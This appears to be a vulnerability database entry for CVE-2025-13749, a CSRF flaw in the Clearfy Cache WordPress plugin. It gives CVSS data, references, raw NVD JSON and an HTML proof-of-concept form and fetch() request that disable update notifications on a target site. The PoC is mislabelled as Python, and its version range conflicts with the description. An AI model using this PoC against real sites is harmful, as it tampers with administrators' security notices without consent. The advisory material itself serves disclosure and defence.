CVE-2025-13749

Description

The Clearfy Cache – WordPress optimization plugin, Minify HTML, CSS & JS, Defer plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 2.4.0. This is due to missing nonce validation on the "wbcr_upm_change_flag" function. This makes it possible for unauthenticated attackers to disable plugin/theme update notifications via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Clearfy Cache WordPress plugin < 2.4.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CSRF PoC for CVE-2025-13749 -->
<!-- This PoC demonstrates how an attacker can disable plugin/theme update notifications -->
<!DOCTYPE html>
<html>
<head>
    <title>CVE-2025-13749 PoC</title>
</head>
<body>
    <h1>Clearfy Cache CSRF Attack PoC</h1>
    <p>Click the button below to disable update notifications (social engineering required)</p>
    
    <form action="http://target-wordpress-site/wp-admin/admin-post.php" method="POST" id="csrf-form">
        <input type="hidden" name="action" value="wbcr_upm_change_flag">
        <input type="hidden" name="wbcr_upm_notice" value="0">
        <input type="hidden" name="wbcr_upm_dismiss" value="1">
        <button type="submit">Submit Request</button>
    </form>
    
    <script>
        // Auto-submit form (requires user interaction or social engineering)
        // document.getElementById('csrf-form').submit();
    </script>
    
    <!-- Alternative: Fetch API approach -->
    <script>
        async function exploit() {
            const formData = new FormData();
            formData.append('action', 'wbcr_upm_change_flag');
            formData.append('wbcr_upm_notice', '0');
            formData.append('wbcr_upm_dismiss', '1');
            
            await fetch('/wp-admin/admin-post.php', {
                method: 'POST',
                body: formData,
                credentials: 'include'  // Include cookies for authenticated requests
            });
        }
        // exploit(); // Uncomment to auto-execute
    </script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-13749
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-13749
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-13749/
[4] VulDB https://vuldb.com/cve/CVE-2025-13749
[5] https://plugins.trac.wordpress.org/changeset/3421009/clearfy
[6] https://research.cleantalk.org/cve-2025-13749/
[7] https://www.wordfence.com/threat-intel/vulnerabilities/id/55750dcf-c6ec-4be6-967f-60bf940fa30e?source=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-13749", "sourceIdentifier": "[email protected]", "published": "2026-01-09T06:16:00.917", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Clearfy Cache – WordPress optimization plugin, Minify HTML, CSS & JS, Defer plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 2.4.0. This is due to missing nonce validation on the \"wbcr_upm_change_flag\" function. This makes it possible for unauthenticated attackers to disable plugin/theme update notifications via a forged request granted they can trick a site administrator into performing an action such as clicking on a link."}, {"lang": "es", "value": "El plugin de optimización para WordPress Clearfy Cache – Minify HTML, CSS y JS, Defer es vulnerable a falsificación de petición en sitios cruzados en todas las versiones hasta la 2.4.0, inclusive. Esto se debe a la falta de validación de nonce en la función 'wbcr_upm_change_flag'. Esto permite a atacantes no autenticados deshabilitar las notificaciones de actualización de plugins/temas a través de una petición falsificada, siempre que puedan engañar a un administrador del sitio para que realice una acción como hacer clic en un enlace."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-352"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/changeset/3421009/clearfy", "source": "[email protected]"}, {"url": "https://research.cleantalk.org/cve-2025-13749/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/55750dcf-c6ec-4be6-967f-60bf940fa30e?source=cve", "source": "[email protected]"}]}}